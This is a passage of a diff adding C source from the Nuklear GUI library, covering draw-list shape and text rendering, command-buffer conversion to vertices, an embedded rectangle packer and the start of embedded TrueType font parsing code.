rect.w, rect.y + rect.h), list->config.null.uv, col_right); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(rect.x, rect.y + rect.h), list->config.null.uv, col_bottom); +} +NK_API void +nk_draw_list_fill_triangle(struct nk_draw_list *list, struct nk_vec2 a, + struct nk_vec2 b, struct nk_vec2 c, struct nk_color col) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + nk_draw_list_path_line_to(list, a); + nk_draw_list_path_line_to(list, b); + nk_draw_list_path_line_to(list, c); + nk_draw_list_path_fill(list, col); +} +NK_API void +nk_draw_list_stroke_triangle(struct nk_draw_list *list, struct nk_vec2 a, + struct nk_vec2 b, struct nk_vec2 c, struct nk_color col, float thickness) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + nk_draw_list_path_line_to(list, a); + nk_draw_list_path_line_to(list, b); + nk_draw_list_path_line_to(list, c); + nk_draw_list_path_stroke(list, col, NK_STROKE_CLOSED, thickness); +} +NK_API void +nk_draw_list_fill_circle(struct nk_draw_list *list, struct nk_vec2 center, + float radius, struct nk_color col, unsigned int segs) +{ + float a_max; + NK_ASSERT(list); + if (!list || !col.a) return; + a_max = NK_PI * 2.0f * ((float)segs - 1.0f) / (float)segs; + nk_draw_list_path_arc_to(list, center, radius, 0.0f, a_max, segs); + nk_draw_list_path_fill(list, col); +} +NK_API void +nk_draw_list_stroke_circle(struct nk_draw_list *list, struct nk_vec2 center, + float radius, struct nk_color col, unsigned int segs, float thickness) +{ + float a_max; + NK_ASSERT(list); + if (!list || !col.a) return; + a_max = NK_PI * 2.0f * ((float)segs - 1.0f) / (float)segs; + nk_draw_list_path_arc_to(list, center, radius, 0.0f, a_max, segs); + nk_draw_list_path_stroke(list, col, NK_STROKE_CLOSED, thickness); +} +NK_API void +nk_draw_list_stroke_curve(struct nk_draw_list *list, struct nk_vec2 p0, + struct nk_vec2 cp0, struct nk_vec2 cp1, struct nk_vec2 p1, + struct nk_color col, unsigned int segments, float thickness) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + nk_draw_list_path_line_to(list, p0); + nk_draw_list_path_curve_to(list, cp0, cp1, p1, segments); + nk_draw_list_path_stroke(list, col, NK_STROKE_OPEN, thickness); +} +NK_INTERN void +nk_draw_list_push_rect_uv(struct nk_draw_list *list, struct nk_vec2 a, + struct nk_vec2 c, struct nk_vec2 uva, struct nk_vec2 uvc, + struct nk_color color) +{ + void *vtx; + struct nk_vec2 uvb; + struct nk_vec2 uvd; + struct nk_vec2 b; + struct nk_vec2 d; + + struct nk_colorf col; + nk_draw_index *idx; + nk_draw_index index; + NK_ASSERT(list); + if (!list) return; + + nk_color_fv(&col.r, color); + uvb = nk_vec2(uvc.x, uva.y); + uvd = nk_vec2(uva.x, uvc.y); + b = nk_vec2(c.x, a.y); + d = nk_vec2(a.x, c.y); + + index = (nk_draw_index)list->vertex_count; + vtx = nk_draw_list_alloc_vertices(list, 4); + idx = nk_draw_list_alloc_elements(list, 6); + if (!vtx || !idx) return; + + idx[0] = (nk_draw_index)(index+0); idx[1] = (nk_draw_index)(index+1); + idx[2] = (nk_draw_index)(index+2); idx[3] = (nk_draw_index)(index+0); + idx[4] = (nk_draw_index)(index+2); idx[5] = (nk_draw_index)(index+3); + + vtx = nk_draw_vertex(vtx, &list->config, a, uva, col); + vtx = nk_draw_vertex(vtx, &list->config, b, uvb, col); + vtx = nk_draw_vertex(vtx, &list->config, c, uvc, col); + vtx = nk_draw_vertex(vtx, &list->config, d, uvd, col); +} +NK_API void +nk_draw_list_add_image(struct nk_draw_list *list, struct nk_image texture, + struct nk_rect rect, struct nk_color color) +{ + NK_ASSERT(list); + if (!list) return; + /* push new command with given texture */ + nk_draw_list_push_image(list, texture.handle); + if (nk_image_is_subimage(&texture)) { + /* add region inside of the texture */ + struct nk_vec2 uv[2]; + uv[0].x = (float)texture.region[0]/(float)texture.w; + uv[0].y = (float)texture.region[1]/(float)texture.h; + uv[1].x = (float)(texture.region[0] + texture.region[2])/(float)texture.w; + uv[1].y = (float)(texture.region[1] + texture.region[3])/(float)texture.h; + nk_draw_list_push_rect_uv(list, nk_vec2(rect.x, rect.y), + nk_vec2(rect.x + rect.w, rect.y + rect.h), uv[0], uv[1], color); + } else nk_draw_list_push_rect_uv(list, nk_vec2(rect.x, rect.y), + nk_vec2(rect.x + rect.w, rect.y + rect.h), + nk_vec2(0.0f, 0.0f), nk_vec2(1.0f, 1.0f),color); +} +NK_API void +nk_draw_list_add_text(struct nk_draw_list *list, const struct nk_user_font *font, + struct nk_rect rect, const char *text, int len, float font_height, + struct nk_color fg) +{ + float x = 0; + int text_len = 0; + nk_rune unicode = 0; + nk_rune next = 0; + int glyph_len = 0; + int next_glyph_len = 0; + struct nk_user_font_glyph g; + + NK_ASSERT(list); + if (!list || !len || !text) return; + if (!NK_INTERSECT(rect.x, rect.y, rect.w, rect.h, + list->clip_rect.x, list->clip_rect.y, list->clip_rect.w, list->clip_rect.h)) return; + + nk_draw_list_push_image(list, font->texture); + x = rect.x; + glyph_len = nk_utf_decode(text, &unicode, len); + if (!glyph_len) return; + + /* draw every glyph image */ + fg.a = (nk_byte)((float)fg.a * list->config.global_alpha); + while (text_len < len && glyph_len) { + float gx, gy, gh, gw; + float char_width = 0; + if (unicode == NK_UTF_INVALID) break; + + /* query currently drawn glyph information */ + next_glyph_len = nk_utf_decode(text + text_len + glyph_len, &next, (int)len - text_len); + font->query(font->userdata, font_height, &g, unicode, + (next == NK_UTF_INVALID) ? '\0' : next); + + /* calculate and draw glyph drawing rectangle and image */ + gx = x + g.offset.x; + gy = rect.y + g.offset.y; + gw = g.width; gh = g.height; + char_width = g.xadvance; + nk_draw_list_push_rect_uv(list, nk_vec2(gx,gy), nk_vec2(gx + gw, gy+ gh), + g.uv[0], g.uv[1], fg); + + /* offset next glyph */ + text_len += glyph_len; + x += char_width; + glyph_len = next_glyph_len; + unicode = next; + } +} +NK_API nk_flags +nk_convert(struct nk_context *ctx, struct nk_buffer *cmds, + struct nk_buffer *vertices, struct nk_buffer *elements, + const struct nk_convert_config *config) +{ + nk_flags res = NK_CONVERT_SUCCESS; + const struct nk_command *cmd; + NK_ASSERT(ctx); + NK_ASSERT(cmds); + NK_ASSERT(vertices); + NK_ASSERT(elements); + NK_ASSERT(config); + NK_ASSERT(config->vertex_layout); + NK_ASSERT(config->vertex_size); + if (!ctx || !cmds || !vertices || !elements || !config || !config->vertex_layout) + return NK_CONVERT_INVALID_PARAM; + + nk_draw_list_setup(&ctx->draw_list, config, cmds, vertices, elements, + config->line_AA, config->shape_AA); + nk_foreach(cmd, ctx) + { +#ifdef NK_INCLUDE_COMMAND_USERDATA + ctx->draw_list.userdata = cmd->userdata; +#endif + switch (cmd->type) { + case NK_COMMAND_NOP: break; + case NK_COMMAND_SCISSOR: { + const struct nk_command_scissor *s = (const struct nk_command_scissor*)cmd; + nk_draw_list_add_clip(&ctx->draw_list, nk_rect(s->x, s->y, s->w, s->h)); + } break; + case NK_COMMAND_LINE: { + const struct nk_command_line *l = (const struct nk_command_line*)cmd; + nk_draw_list_stroke_line(&ctx->draw_list, nk_vec2(l->begin.x, l->begin.y), + nk_vec2(l->end.x, l->end.y), l->color, l->line_thickness); + } break; + case NK_COMMAND_CURVE: { + const struct nk_command_curve *q = (const struct nk_command_curve*)cmd; + nk_draw_list_stroke_curve(&ctx->draw_list, nk_vec2(q->begin.x, q->begin.y), + nk_vec2(q->ctrl[0].x, q->ctrl[0].y), nk_vec2(q->ctrl[1].x, + q->ctrl[1].y), nk_vec2(q->end.x, q->end.y), q->color, + config->curve_segment_count, q->line_thickness); + } break; + case NK_COMMAND_RECT: { + const struct nk_command_rect *r = (const struct nk_command_rect*)cmd; + nk_draw_list_stroke_rect(&ctx->draw_list, nk_rect(r->x, r->y, r->w, r->h), + r->color, (float)r->rounding, r->line_thickness); + } break; + case NK_COMMAND_RECT_FILLED: { + const struct nk_command_rect_filled *r = (const struct nk_command_rect_filled*)cmd; + nk_draw_list_fill_rect(&ctx->draw_list, nk_rect(r->x, r->y, r->w, r->h), + r->color, (float)r->rounding); + } break; + case NK_COMMAND_RECT_MULTI_COLOR: { + const struct nk_command_rect_multi_color *r = (const struct nk_command_rect_multi_color*)cmd; + nk_draw_list_fill_rect_multi_color(&ctx->draw_list, nk_rect(r->x, r->y, r->w, r->h), + r->left, r->top, r->right, r->bottom); + } break; + case NK_COMMAND_CIRCLE: { + const struct nk_command_circle *c = (const struct nk_command_circle*)cmd; + nk_draw_list_stroke_circle(&ctx->draw_list, nk_vec2((float)c->x + (float)c->w/2, + (float)c->y + (float)c->h/2), (float)c->w/2, c->color, + config->circle_segment_count, c->line_thickness); + } break; + case NK_COMMAND_CIRCLE_FILLED: { + const struct nk_command_circle_filled *c = (const struct nk_command_circle_filled *)cmd; + nk_draw_list_fill_circle(&ctx->draw_list, nk_vec2((float)c->x + (float)c->w/2, + (float)c->y + (float)c->h/2), (float)c->w/2, c->color, + config->circle_segment_count); + } break; + case NK_COMMAND_ARC: { + const struct nk_command_arc *c = (const struct nk_command_arc*)cmd; + nk_draw_list_path_line_to(&ctx->draw_list, nk_vec2(c->cx, c->cy)); + nk_draw_list_path_arc_to(&ctx->draw_list, nk_vec2(c->cx, c->cy), c->r, + c->a[0], c->a[1], config->arc_segment_count); + nk_draw_list_path_stroke(&ctx->draw_list, c->color, NK_STROKE_CLOSED, c->line_thickness); + } break; + case NK_COMMAND_ARC_FILLED: { + const struct nk_command_arc_filled *c = (const struct nk_command_arc_filled*)cmd; + nk_draw_list_path_line_to(&ctx->draw_list, nk_vec2(c->cx, c->cy)); + nk_draw_list_path_arc_to(&ctx->draw_list, nk_vec2(c->cx, c->cy), c->r, + c->a[0], c->a[1], config->arc_segment_count); + nk_draw_list_path_fill(&ctx->draw_list, c->color); + } break; + case NK_COMMAND_TRIANGLE: { + const struct nk_command_triangle *t = (const struct nk_command_triangle*)cmd; + nk_draw_list_stroke_triangle(&ctx->draw_list, nk_vec2(t->a.x, t->a.y), + nk_vec2(t->b.x, t->b.y), nk_vec2(t->c.x, t->c.y), t->color, + t->line_thickness); + } break; + case NK_COMMAND_TRIANGLE_FILLED: { + const struct nk_command_triangle_filled *t = (const struct nk_command_triangle_filled*)cmd; + nk_draw_list_fill_triangle(&ctx->draw_list, nk_vec2(t->a.x, t->a.y), + nk_vec2(t->b.x, t->b.y), nk_vec2(t->c.x, t->c.y), t->color); + } break; + case NK_COMMAND_POLYGON: { + int i; + const struct nk_command_polygon*p = (const struct nk_command_polygon*)cmd; + for (i = 0; i < p->point_count; ++i) { + struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y); + nk_draw_list_path_line_to(&ctx->draw_list, pnt); + } + nk_draw_list_path_stroke(&ctx->draw_list, p->color, NK_STROKE_CLOSED, p->line_thickness); + } break; + case NK_COMMAND_POLYGON_FILLED: { + int i; + const struct nk_command_polygon_filled *p = (const struct nk_command_polygon_filled*)cmd; + for (i = 0; i < p->point_count; ++i) { + struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y); + nk_draw_list_path_line_to(&ctx->draw_list, pnt); + } + nk_draw_list_path_fill(&ctx->draw_list, p->color); + } break; + case NK_COMMAND_POLYLINE: { + int i; + const struct nk_command_polyline *p = (const struct nk_command_polyline*)cmd; + for (i = 0; i < p->point_count; ++i) { + struct nk_vec2 pnt = nk_vec2((float)p->points[i].x, (float)p->points[i].y); + nk_draw_list_path_line_to(&ctx->draw_list, pnt); + } + nk_draw_list_path_stroke(&ctx->draw_list, p->color, NK_STROKE_OPEN, p->line_thickness); + } break; + case NK_COMMAND_TEXT: { + const struct nk_command_text *t = (const struct nk_command_text*)cmd; + nk_draw_list_add_text(&ctx->draw_list, t->font, nk_rect(t->x, t->y, t->w, t->h), + t->string, t->length, t->height, t->foreground); + } break; + case NK_COMMAND_IMAGE: { + const struct nk_command_image *i = (const struct nk_command_image*)cmd; + nk_draw_list_add_image(&ctx->draw_list, i->img, nk_rect(i->x, i->y, i->w, i->h), i->col); + } break; + case NK_COMMAND_CUSTOM: { + const struct nk_command_custom *c = (const struct nk_command_custom*)cmd; + c->callback(&ctx->draw_list, c->x, c->y, c->w, c->h, c->callback_data); + } break; + default: break; + } + } + res |= (cmds->needed > cmds->allocated + (cmds->memory.size - cmds->size)) ? NK_CONVERT_COMMAND_BUFFER_FULL: 0; + res |= (vertices->needed > vertices->allocated) ? NK_CONVERT_VERTEX_BUFFER_FULL: 0; + res |= (elements->needed > elements->allocated) ? NK_CONVERT_ELEMENT_BUFFER_FULL: 0; + return res; +} +NK_API const struct nk_draw_command* +nk__draw_begin(const struct nk_context *ctx, + const struct nk_buffer *buffer) +{ + return nk__draw_list_begin(&ctx->draw_list, buffer); +} +NK_API const struct nk_draw_command* +nk__draw_end(const struct nk_context *ctx, const struct nk_buffer *buffer) +{ + return nk__draw_list_end(&ctx->draw_list, buffer); +} +NK_API const struct nk_draw_command* +nk__draw_next(const struct nk_draw_command *cmd, + const struct nk_buffer *buffer, const struct nk_context *ctx) +{ + return nk__draw_list_next(cmd, buffer, &ctx->draw_list); +} +#endif + + + + + +#ifdef NK_INCLUDE_FONT_BAKING +/* ------------------------------------------------------------- + * + * RECT PACK + * + * --------------------------------------------------------------*/ +/* stb_rect_pack.h - v0.05 - public domain - rectangle packing */ +/* Sean Barrett 2014 */ +#define NK_RP__MAXVAL 0xffff +typedef unsigned short nk_rp_coord; + +struct nk_rp_rect { + /* reserved for your use: */ + int id; + /* input: */ + nk_rp_coord w, h; + /* output: */ + nk_rp_coord x, y; + int was_packed; + /* non-zero if valid packing */ +}; /* 16 bytes, nominally */ + +struct nk_rp_node { + nk_rp_coord x,y; + struct nk_rp_node *next; +}; + +struct nk_rp_context { + int width; + int height; + int align; + int init_mode; + int heuristic; + int num_nodes; + struct nk_rp_node *active_head; + struct nk_rp_node *free_head; + struct nk_rp_node extra[2]; + /* we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2' */ +}; + +struct nk_rp__findresult { + int x,y; + struct nk_rp_node **prev_link; +}; + +enum NK_RP_HEURISTIC { + NK_RP_HEURISTIC_Skyline_default=0, + NK_RP_HEURISTIC_Skyline_BL_sortHeight = NK_RP_HEURISTIC_Skyline_default, + NK_RP_HEURISTIC_Skyline_BF_sortHeight +}; +enum NK_RP_INIT_STATE{NK_RP__INIT_skyline = 1}; + +NK_INTERN void +nk_rp_setup_allow_out_of_mem(struct nk_rp_context *context, int allow_out_of_mem) +{ + if (allow_out_of_mem) + /* if it's ok to run out of memory, then don't bother aligning them; */ + /* this gives better packing, but may fail due to OOM (even though */ + /* the rectangles easily fit). @TODO a smarter approach would be to only */ + /* quantize once we've hit OOM, then we could get rid of this parameter. */ + context->align = 1; + else { + /* if it's not ok to run out of memory, then quantize the widths */ + /* so that num_nodes is always enough nodes. */ + /* */ + /* I.e. num_nodes * align >= width */ + /* align >= width / num_nodes */ + /* align = ceil(width/num_nodes) */ + context->align = (context->width + context->num_nodes-1) / context->num_nodes; + } +} +NK_INTERN void +nk_rp_init_target(struct nk_rp_context *context, int width, int height, + struct nk_rp_node *nodes, int num_nodes) +{ + int i; +#ifndef STBRP_LARGE_RECTS + NK_ASSERT(width <= 0xffff && height <= 0xffff); +#endif + + for (i=0; i < num_nodes-1; ++i) + nodes[i].next = &nodes[i+1]; + nodes[i].next = 0; + context->init_mode = NK_RP__INIT_skyline; + context->heuristic = NK_RP_HEURISTIC_Skyline_default; + context->free_head = &nodes[0]; + context->active_head = &context->extra[0]; + context->width = width; + context->height = height; + context->num_nodes = num_nodes; + nk_rp_setup_allow_out_of_mem(context, 0); + + /* node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly) */ + context->extra[0].x = 0; + context->extra[0].y = 0; + context->extra[0].next = &context->extra[1]; + context->extra[1].x = (nk_rp_coord) width; + context->extra[1].y = 65535; + context->extra[1].next = 0; +} +/* find minimum y position if it starts at x1 */ +NK_INTERN int +nk_rp__skyline_find_min_y(struct nk_rp_context *c, struct nk_rp_node *first, + int x0, int width, int *pwaste) +{ + struct nk_rp_node *node = first; + int x1 = x0 + width; + int min_y, visited_width, waste_area; + NK_ASSERT(first->x <= x0); + NK_UNUSED(c); + + NK_ASSERT(node->next->x > x0); + /* we ended up handling this in the caller for efficiency */ + NK_ASSERT(node->x <= x0); + + min_y = 0; + waste_area = 0; + visited_width = 0; + while (node->x < x1) + { + if (node->y > min_y) { + /* raise min_y higher. */ + /* we've accounted for all waste up to min_y, */ + /* but we'll now add more waste for everything we've visited */ + waste_area += visited_width * (node->y - min_y); + min_y = node->y; + /* the first time through, visited_width might be reduced */ + if (node->x < x0) + visited_width += node->next->x - x0; + else + visited_width += node->next->x - node->x; + } else { + /* add waste area */ + int under_width = node->next->x - node->x; + if (under_width + visited_width > width) + under_width = width - visited_width; + waste_area += under_width * (min_y - node->y); + visited_width += under_width; + } + node = node->next; + } + *pwaste = waste_area; + return min_y; +} +NK_INTERN struct nk_rp__findresult +nk_rp__skyline_find_best_pos(struct nk_rp_context *c, int width, int height) +{ + int best_waste = (1<<30), best_x, best_y = (1 << 30); + struct nk_rp__findresult fr; + struct nk_rp_node **prev, *node, *tail, **best = 0; + + /* align to multiple of c->align */ + width = (width + c->align - 1); + width -= width % c->align; + NK_ASSERT(width % c->align == 0); + + node = c->active_head; + prev = &c->active_head; + while (node->x + width <= c->width) { + int y,waste; + y = nk_rp__skyline_find_min_y(c, node, node->x, width, &waste); + /* actually just want to test BL */ + if (c->heuristic == NK_RP_HEURISTIC_Skyline_BL_sortHeight) { + /* bottom left */ + if (y < best_y) { + best_y = y; + best = prev; + } + } else { + /* best-fit */ + if (y + height <= c->height) { + /* can only use it if it first vertically */ + if (y < best_y || (y == best_y && waste < best_waste)) { + best_y = y; + best_waste = waste; + best = prev; + } + } + } + prev = &node->next; + node = node->next; + } + best_x = (best == 0) ? 0 : (*best)->x; + + /* if doing best-fit (BF), we also have to try aligning right edge to each node position */ + /* */ + /* e.g, if fitting */ + /* */ + /* ____________________ */ + /* |____________________| */ + /* */ + /* into */ + /* */ + /* | | */ + /* | ____________| */ + /* |____________| */ + /* */ + /* then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned */ + /* */ + /* This makes BF take about 2x the time */ + if (c->heuristic == NK_RP_HEURISTIC_Skyline_BF_sortHeight) + { + tail = c->active_head; + node = c->active_head; + prev = &c->active_head; + /* find first node that's admissible */ + while (tail->x < width) + tail = tail->next; + while (tail) + { + int xpos = tail->x - width; + int y,waste; + NK_ASSERT(xpos >= 0); + /* find the left position that matches this */ + while (node->next->x <= xpos) { + prev = &node->next; + node = node->next; + } + NK_ASSERT(node->next->x > xpos && node->x <= xpos); + y = nk_rp__skyline_find_min_y(c, node, xpos, width, &waste); + if (y + height < c->height) { + if (y <= best_y) { + if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) { + best_x = xpos; + NK_ASSERT(y <= best_y); + best_y = y; + best_waste = waste; + best = prev; + } + } + } + tail = tail->next; + } + } + fr.prev_link = best; + fr.x = best_x; + fr.y = best_y; + return fr; +} +NK_INTERN struct nk_rp__findresult +nk_rp__skyline_pack_rectangle(struct nk_rp_context *context, int width, int height) +{ + /* find best position according to heuristic */ + struct nk_rp__findresult res = nk_rp__skyline_find_best_pos(context, width, height); + struct nk_rp_node *node, *cur; + + /* bail if: */ + /* 1. it failed */ + /* 2. the best node doesn't fit (we don't always check this) */ + /* 3. we're out of memory */ + if (res.prev_link == 0 || res.y + height > context->height || context->free_head == 0) { + res.prev_link = 0; + return res; + } + + /* on success, create new node */ + node = context->free_head; + node->x = (nk_rp_coord) res.x; + node->y = (nk_rp_coord) (res.y + height); + + context->free_head = node->next; + + /* insert the new node into the right starting point, and */ + /* let 'cur' point to the remaining nodes needing to be */ + /* stitched back in */ + cur = *res.prev_link; + if (cur->x < res.x) { + /* preserve the existing one, so start testing with the next one */ + struct nk_rp_node *next = cur->next; + cur->next = node; + cur = next; + } else { + *res.prev_link = node; + } + + /* from here, traverse cur and free the nodes, until we get to one */ + /* that shouldn't be freed */ + while (cur->next && cur->next->x <= res.x + width) { + struct nk_rp_node *next = cur->next; + /* move the current node to the free list */ + cur->next = context->free_head; + context->free_head = cur; + cur = next; + } + /* stitch the list back in */ + node->next = cur; + + if (cur->x < res.x + width) + cur->x = (nk_rp_coord) (res.x + width); + return res; +} +NK_INTERN int +nk_rect_height_compare(const void *a, const void *b) +{ + const struct nk_rp_rect *p = (const struct nk_rp_rect *) a; + const struct nk_rp_rect *q = (const struct nk_rp_rect *) b; + if (p->h > q->h) + return -1; + if (p->h < q->h) + return 1; + return (p->w > q->w) ? -1 : (p->w < q->w); +} +NK_INTERN int +nk_rect_original_order(const void *a, const void *b) +{ + const struct nk_rp_rect *p = (const struct nk_rp_rect *) a; + const struct nk_rp_rect *q = (const struct nk_rp_rect *) b; + return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed); +} +NK_INTERN void +nk_rp_qsort(struct nk_rp_rect *array, unsigned int len, int(*cmp)(const void*,const void*)) +{ + /* iterative quick sort */ + #define NK_MAX_SORT_STACK 64 + unsigned right, left = 0, stack[NK_MAX_SORT_STACK], pos = 0; + unsigned seed = len/2 * 69069+1; + for (;;) { + for (; left+1 < len; len++) { + struct nk_rp_rect pivot, tmp; + if (pos == NK_MAX_SORT_STACK) len = stack[pos = 0]; + pivot = array[left+seed%(len-left)]; + seed = seed * 69069 + 1; + stack[pos++] = len; + for (right = left-1;;) { + while (cmp(&array[++right], &pivot) < 0); + while (cmp(&pivot, &array[--len]) < 0); + if (right >= len) break; + tmp = array[right]; + array[right] = array[len]; + array[len] = tmp; + } + } + if (pos == 0) break; + left = len; + len = stack[--pos]; + } + #undef NK_MAX_SORT_STACK +} +NK_INTERN void +nk_rp_pack_rects(struct nk_rp_context *context, struct nk_rp_rect *rects, int num_rects) +{ + int i; + /* we use the 'was_packed' field internally to allow sorting/unsorting */ + for (i=0; i < num_rects; ++i) { + rects[i].was_packed = i; + } + + /* sort according to heuristic */ + nk_rp_qsort(rects, (unsigned)num_rects, nk_rect_height_compare); + + for (i=0; i < num_rects; ++i) { + struct nk_rp__findresult fr = nk_rp__skyline_pack_rectangle(context, rects[i].w, rects[i].h); + if (fr.prev_link) { + rects[i].x = (nk_rp_coord) fr.x; + rects[i].y = (nk_rp_coord) fr.y; + } else { + rects[i].x = rects[i].y = NK_RP__MAXVAL; + } + } + + /* unsort */ + nk_rp_qsort(rects, (unsigned)num_rects, nk_rect_original_order); + + /* set was_packed flags */ + for (i=0; i < num_rects; ++i) + rects[i].was_packed = !(rects[i].x == NK_RP__MAXVAL && rects[i].y == NK_RP__MAXVAL); +} + +/* + * ============================================================== + * + * TRUETYPE + * + * =============================================================== + */ +/* stb_truetype.h - v1.07 - public domain */ +#define NK_TT_MAX_OVERSAMPLE 8 +#define NK_TT__OVER_MASK (NK_TT_MAX_OVERSAMPLE-1) + +struct nk_tt_bakedchar { + unsigned short x0,y0,x1,y1; + /* coordinates of bbox in bitmap */ + float xoff,yoff,xadvance; +}; + +struct nk_tt_aligned_quad{ + float x0,y0,s0,t0; /* top-left */ + float x1,y1,s1,t1; /* bottom-right */ +}; + +struct nk_tt_packedchar { + unsigned short x0,y0,x1,y1; + /* coordinates of bbox in bitmap */ + float xoff,yoff,xadvance; + float xoff2,yoff2; +}; + +struct nk_tt_pack_range { + float font_size; + int first_unicode_codepoint_in_range; + /* if non-zero, then the chars are continuous, and this is the first codepoint */ + int *array_of_unicode_codepoints; + /* if non-zero, then this is an array of unicode codepoints */ + int num_chars; + struct nk_tt_packedchar *chardata_for_range; /* output */ + unsigned char h_oversample, v_oversample; + /* don't set these, they're used internally */ +}; + +struct nk_tt_pack_context { + void *pack_info; + int width; + int height; + int stride_in_bytes; + int padding; + unsigned int h_oversample, v_oversample; + unsigned char *pixels; + void *nodes; +}; + +struct nk_tt_fontinfo { + const unsigned char* data; /* pointer to .ttf file */ + int fontstart;/* offset of start of font */ + int numGlyphs;/* number of glyphs, needed for range checking */ + int loca,head,glyf,hhea,hmtx,kern; /* table locations as offset from start of .ttf */ + int index_map; /* a cmap mapping for our chosen character encoding */ + int indexToLocFormat; /* format needed to map from glyph index to glyph */ +}; + +enum { + NK_TT_vmove=1, + NK_TT_vline, + NK_TT_vcurve +}; + +struct nk_tt_vertex { + short x,y,cx,cy; + unsigned char type,padding; +}; + +struct nk_tt__bitmap{ + int w,h,stride; + unsigned char *pixels; +}; + +struct nk_tt__hheap_chunk { + struct nk_tt__hheap_chunk *next; +}; +struct nk_tt__hheap { + struct nk_allocator alloc; + struct nk_tt__hheap_chunk *head; + void *first_free; + int num_remaining_in_head_chunk; +}; + +struct nk_tt__edge { + float x0,y0, x1,y1; + int invert; +}; + +struct nk_tt__active_edge { + struct nk_tt__active_edge *next; + float fx,fdx,fdy; + float direction; + float sy; + float ey; +}; +struct nk_tt__point {float x,y;}; + +#define NK_TT_MACSTYLE_DONTCARE 0 +#define NK_TT_MACSTYLE_BOLD 1 +#define NK_TT_MACSTYLE_ITALIC 2 +#define NK_TT_MACSTYLE_UNDERSCORE 4 +#define NK_TT_MACSTYLE_NONE 8 +/* <= not same as 0, this makes us check the bitfield is 0 */ + +enum { /* platformID */ + NK_TT_PLATFORM_ID_UNICODE =0, + NK_TT_PLATFORM_ID_MAC =1, + NK_TT_PLATFORM_ID_ISO =2, + NK_TT_PLATFORM_ID_MICROSOFT =3 +}; + +enum { /* encodingID for NK_TT_PLATFORM_ID_UNICODE */ + NK_TT_UNICODE_EID_UNICODE_1_0 =0, + NK_TT_UNICODE_EID_UNICODE_1_1 =1, + NK_TT_UNICODE_EID_ISO_10646 =2, + NK_TT_UNICODE_EID_UNICODE_2_0_BMP=3, + NK_TT_UNICODE_EID_UNICODE_2_0_FULL=4 +}; + +enum { /* encodingID for NK_TT_PLATFORM_ID_MICROSOFT */ + NK_TT_MS_EID_SYMBOL =0, + NK_TT_MS_EID_UNICODE_BMP =1, + NK_TT_MS_EID_SHIFTJIS =2, + NK_TT_MS_EID_UNICODE_FULL =10 +}; + +enum { /* encodingID for NK_TT_PLATFORM_ID_MAC; same as Script Manager codes */ + NK_TT_MAC_EID_ROMAN =0, NK_TT_MAC_EID_ARABIC =4, + NK_TT_MAC_EID_JAPANESE =1, NK_TT_MAC_EID_HEBREW =5, + NK_TT_MAC_EID_CHINESE_TRAD =2, NK_TT_MAC_EID_GREEK =6, + NK_TT_MAC_EID_KOREAN =3, NK_TT_MAC_EID_RUSSIAN =7 +}; + +enum { /* languageID for NK_TT_PLATFORM_ID_MICROSOFT; same as LCID... */ + /* problematic because there are e.g. 16 english LCIDs and 16 arabic LCIDs */ + NK_TT_MS_LANG_ENGLISH =0x0409, NK_TT_MS_LANG_ITALIAN =0x0410, + NK_TT_MS_LANG_CHINESE =0x0804, NK_TT_MS_LANG_JAPANESE =0x0411, + NK_TT_MS_LANG_DUTCH =0x0413, NK_TT_MS_LANG_KOREAN =0x0412, + NK_TT_MS_LANG_FRENCH =0x040c, NK_TT_MS_LANG_RUSSIAN =0x0419, + NK_TT_MS_LANG_GERMAN =0x0407, NK_TT_MS_LANG_SPANISH =0x0409, + NK_TT_MS_LANG_HEBREW =0x040d, NK_TT_MS_LANG_SWEDISH =0x041D +}; + +enum { /* languageID for NK_TT_PLATFORM_ID_MAC */ + NK_TT_MAC_LANG_ENGLISH =0 , NK_TT_MAC_LANG_JAPANESE =11, + NK_TT_MAC_LANG_ARABIC =12, NK_TT_MAC_LANG_KOREAN =23, + NK_TT_MAC_LANG_DUTCH =4 , NK_TT_MAC_LANG_RUSSIAN =32, + NK_TT_MAC_LANG_FRENCH =1 , NK_TT_MAC_LANG_SPANISH =6 , + NK_TT_MAC_LANG_GERMAN =2 , NK_TT_MAC_LANG_SWEDISH =5 , + NK_TT_MAC_LANG_HEBREW =10, NK_TT_MAC_LANG_CHINESE_SIMPLIFIED =33, + NK_TT_MAC_LANG_ITALIAN =3 , NK_TT_MAC_LANG_CHINESE_TRAD =19 +}; + +#define nk_ttBYTE(p) (* (const nk_byte *) (p)) +#define nk_ttCHAR(p) (* (const char *) (p)) + +#if defined(NK_BIGENDIAN) && !defined(NK_ALLOW_UNALIGNED_TRUETYPE) + #define nk_ttUSHORT(p) (* (nk_ushort *) (p)) + #define nk_ttSHORT(p) (* (nk_short *) (p)) + #define nk_ttULONG(p) (* (nk_uint *) (p)) + #define nk_ttLONG(p) (* (nk_int *) (p)) +#else + static nk_ushort nk_ttUSHORT(const nk_byte *p) { return (nk_ushort)(p[0]*256 + p[1]); } + static nk_short nk_ttSHORT(const nk_byte *p) { return (nk_short)(p[0]*256 + p[1]); } + static nk_uint nk_ttULONG(const nk_byte *p) { return (nk_uint)((p[0]<<24) + (p[1]<<16) + (p[2]<<8) + p[3]); } +#endif + +#define nk_tt_tag4(p,c0,c1,c2,c3)\ + ((p)[0] == (c0) && (p)[1] == (c1) && (p)[2] == (c2) && (p)[3] == (c3)) +#define nk_tt_tag(p,str) nk_tt_tag4(p,str[0],str[1],str[2],str[3]) + +NK_INTERN int nk_tt_GetGlyphShape(const struct nk_tt_fontinfo *info, struct nk_allocator *alloc, + int glyph_index, struct nk_tt_vertex **pvertices); + +NK_INTERN nk_uint +nk_tt__find_table(const nk_byte *data, nk_uint fontstart, const char *tag) +{ + /* @OPTIMIZE: binary search */ + nk_int num_tables = nk_ttUSHORT(data+fontstart+4); + nk_uint tabledir = fontstart + 12; + nk_int i; + for (i = 0; i < num_tables; ++i) { + nk_uint loc = tabledir + (nk_uint)(16*i); + if (nk_tt_tag(data+loc+0, tag)) + return nk_ttULONG(data+loc+8); + } + return 0; +} 